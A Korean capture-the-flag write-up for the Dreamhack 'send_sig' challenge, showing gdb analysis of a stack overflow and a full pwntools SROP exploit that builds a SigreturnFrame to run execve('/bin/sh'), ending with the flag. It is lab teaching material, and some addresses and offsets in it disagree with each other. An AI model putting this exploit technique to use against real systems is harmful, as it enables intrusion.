send_sig write up

zzsla·6일 전

문제 정보

서버로 signal을 보낼 수 있는 프로그램입니다!
프로그램의 취약점을 찾고, 익스플로잇해 flag를 읽어보세요.
flag는 home/send_sig/flag.txt에 있습니다.

문제

프로그램을 실행시키면 Signal을 입력할 수 있다
입력하면 종료된다.

Signal에 긴 값을 넣으면 Segmentation fault가 나온다.

문제는 실행코드만 있다

분석

$ checksec send_sig
[*] '/root/pwn/send_sig'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled

일단 문제 환경 설정을 보면 64bit 리틀엔디언이고, 보호기법으로는 canary, NX, PIE가 없고 Partial RELRO가 있는 것을 알 수 있다.

문제는 실행코드만 있으므로 gdb를 이용해서 분석을 진행해야 한다.

gdb로 분석하려고 시작하자마자 문제에 직면하는데 바로 b *main으로 break를 걸 수 없다.
그래서 break 걸고 r을 사용하는 방식이 아닌 start, si, ni, finish를 사용해서 하나씩 확인을 진행했다.

start를 하면 이런 어셈블리를 볼 수 있다

stdin, stdout은 입출력일 것이고, 나머지 3개의 write는 처음에 출력되는 welcome to dreamhack 문자열 부분이다

그리고 나서 0x401195를 확인하면 0x4010b6으로 이동하는 것을 볼 수 있다.

0x4010b6을 확인해 보면 이런 어셈블리를 볼 수 있다

write 부분은 Signal 출력하는 부분이고 read는 입력받는 부분이다. 입력받을 수 있는 양은 0x400이지만 칸은 16칸(0x4010e1)이므로 16칸이 넘어가는 순간 overflow가 발생한다

개행문자를 제외하면 총 15문자를 넣을 수 있다. 16문자부터는 이전 stack으로 돌아갈 주소값을 변조시킨다.

shell이 실행할 부분이 없는 것으로 보았을 때 생각나는 건 ROP인데 ROP(Return Oriented Programming)문제 였으면 문제에 gadget을 위해 so 파일 제공했을 것이다. 하지만 so 파일이 없기 때문에 SROP(SigReturn Oriented Programming)을 생각했다.(+ 이 문제가 SROP로 푸는 것을 안 상태로 풀고 있었다.)

SROP은 어떤 event가 발생했을 때 signal을 보내는데 그 때 context swiching가 일어난다. swiching할 때 register 값들을 저장해 두고 switching하고 다시 signal 보낸 후 swiching하는데 그 때 저장한 register값들을 가져오는데 저장시킨 register값들을 변조시켜서 취약점을 일으키는 취약점이라고 보면 된다.

SROP을 발생시키기 위해서 syscall ; retrax에 sigturn을 발생시키는 값을 넣어줘야 한다.(rax를 변조시키는 이유는 syscall의 요청이 rax 따라 변하기 때문이다)

일단 gdb에서 syscall ; ret의 기계어인 0F 05 C3 을 이용해서 찾을 것이다.

find /b 0x400000, 0x500000, 0x0F, 0x05, 0xC3

0x4010b0에 위치에 찾을 수 있다 disas을 이용해서 확인을 해 봤다.

disas 0x4010b0 - 50, +100

조금 앞 뒤로 범위를 줘서 확인해 본 결과 0x4010b0 ~ 0x4010b2syscall ; ret가 있고, 0x4010aa ~ 0x4010afrax변조할 부분이다.

취약점

0x4010aa ~ 0x4010af0x4010b0 ~ 0x4010b2 를 이용해서 sigturn을 발생시킨 뒤 register를 값들을 변조해서 shell을 실행시킨다

익스플로잇

일단 아무 값으로 8byte를 채운 후, sigturn 을 발생시키기 위해 RAX에 들어갈 15을 넣고 0x4010aa, 0x4010b0을 넣는다

from pwn import *

p = remote()

payload = b'A'*8
payload += p64(15) # sigturn RAX value
payload += p64(0x4010aa) # pop RAX
payload += p64(0x4010b0) # syscall ; ret

그런 뒤 Sigturn.flame을 이용해서 각각 register에 맞는 값이 들어가도록 한다.
rip는 0x4010b0를 넣어 다시 syscall을 실행 시키고, rax에 0x3b를 넣어 execve가 작동하도록 한다. 그리고 rdi는 /bin/sh가 들어가야 해서 gdb에서 search /bin/sh로 위치를 찾는다

0x302000에 해당 문자열이 있는 것을 확인할 수 있다.

...
context.arch = 'x86_64'

flame = SigreturnFrame()
flame.rip = 0x4010b0 # syscall ; ret
flame.rax = 0x3b # execve
flame.rdi = 0x402000 # /bin/sh
...
payload += bytes(flame)

p.sendline(payload)
p.interactive()

최종 익스플로잇

from pwn import *

p = remote()
context.arch = 'x86_64'

flame = SigreturnFrame()
flame.rip = 0x4010b0 # syscall ; ret
flame.rax = 0x3b # execve
flame.rdi = 0x402000 # /bin/sh

payload = b'A'*8
payload += p64(15) # sigturn RAX value
payload += p64(0x4010aa) # pop RAX
payload += p64(0x4010b0) # syscall ; ret
payload += bytes(flame)

p.sendline(payload)
p.interactive()

문제 shell에 접근 후 flag를 획득할 수 있다.

DH{5a5e56589d32087ec7a37f3b70a84483eae7404e9072173ec7571b632b804760}

profile
[README]newbi security hacker :p

0개의 댓글